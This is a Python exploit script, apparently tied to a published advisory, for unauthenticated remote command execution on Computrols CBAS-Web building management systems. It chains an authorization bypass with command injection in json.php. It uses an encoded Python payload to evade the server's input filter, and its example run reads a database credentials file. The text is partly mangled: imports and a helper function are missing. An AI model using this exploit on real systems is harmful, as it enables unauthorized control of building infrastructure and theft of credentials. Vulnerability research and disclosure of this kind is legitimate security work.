#!/usr/bin/env python ''' Computrols CBAS-Web Unauthenticated Remote Command Injection Exploit Affected versions: 19.0.0 and below by Sipke Mellema, 2019 Advisory: https://applied-risk.com/resources/ar-2019-009 Paper: https://applied-risk.com/resources/i-own-your-building-management-system Uses two vulnerabilities for executing commands: - An authorization bypass in the auth module (CVE-2019-10853) - A code execution vulnerability in the json.php endpoint (CVE-2019-10854) Example usage: $ python CBASWeb_19_rce.py 192.168.1.250 "cat /var/www/cbas-19.0.0/includes/db.php" ------------==[CBAS Web v19 Remote Command Injection [*] URL: http://192.168.1.250/ [*] Executing: cat /var/www/cbas-19.0.0/includes/db.php [*] Cookie is authenticated [*] Creating Python payload.. [*] Sending Python payload.. [*] Server says: \"\"" % __file__ exit(0) print "------------==[CBAS Web v18 Remote Command Injection\n" # Set host, cookie and URL host = sys.argv[1] cookies = {'PHPSESSID': 'comparemetoasummersday'} url = "http://%s/" % host debug_print("URL: %s" % url) # Command to execute # Only use single quotes in cmd pls icmd = sys.argv[2] if '"' in icmd: debug_print("Please don't use double quotes in your command string", level = 1) exit(0) debug_print("Executing: %s" % icmd) # URL for performing auth bypass by setting the auth cookie flag to true auth_bypass_req = "cbas/index.php?m=auth&a=agg_post&code=test" # URL for removing auth flag from cookie (for clean-up) logout_sess_req = "cbas/index.php?m=auth&a=logout" # URL for command injection and session validity checking json_checks_req = "cbas/json.php" # Perform logout def do_logout(): requests.get(url + logout_sess_req, cookies = cookies) # Check if out cookie has the authentication flag def has_auth(): ret = requests.get(url + json_checks_req, cookies = cookies) if ret.text == "Access Forbidden": return False return True # Set auth flag on cookie def set_auth(): requests.get(url + auth_bypass_req, cookies = cookies) # ======================================================= # Perform auth bypass if not authenticated yet if not has_auth(): debug_print("Cookie not yet authenticated") debug_print("Setting auth flag on cookie via auth bypass..") set_auth() # Check if bypass failed if not has_auth(): debug_print("Was not able to perform authorization bypass :(") debug_print("Exploit failed, quitting..", level = 1) exit(0) else: debug_print("Cookie is authenticated") debug_print("Creating Python payload..") # Payload has to be encoded because the server uses the following filtering in exectools.php: # $bad = array("..", "\\", "&", "|", ";", '/', '>', '<'); # So no slashes, etc. This means only two "'layers' of quotes" # Create python code exec code cmd_python = 'import os; os.system("%s")' % icmd # Convert to Python array cmd_array_string = str([ord(x) for x in cmd_python]) # Create command injection string p_unencoded = "DispatchHistoryQuery\t-i \"$(python -c 'exec(chr(0)[0:0].join([chr(x) for x in %s]))')\"" % cmd_array_string # Base64 encode for p parameter p_encoded = b.b64encode(p_unencoded) # Execute command debug_print("Sending Python payload..") ret = requests.post(url + json_checks_req, cookies = cookies, data = {'p': p_encoded}) # Parse result ret_parsed = json.loads(ret.text) try: metadata = ret_parsed["metadata"] identifier = metadata["identifier"] debug_print("Server says:") print identifier # JSON Parsing error except: debug_print("Error parsing result from server :(", level = 1) # Uncomment if you want the cookie to be removed after use # debug_print("Logging out") # do_logout()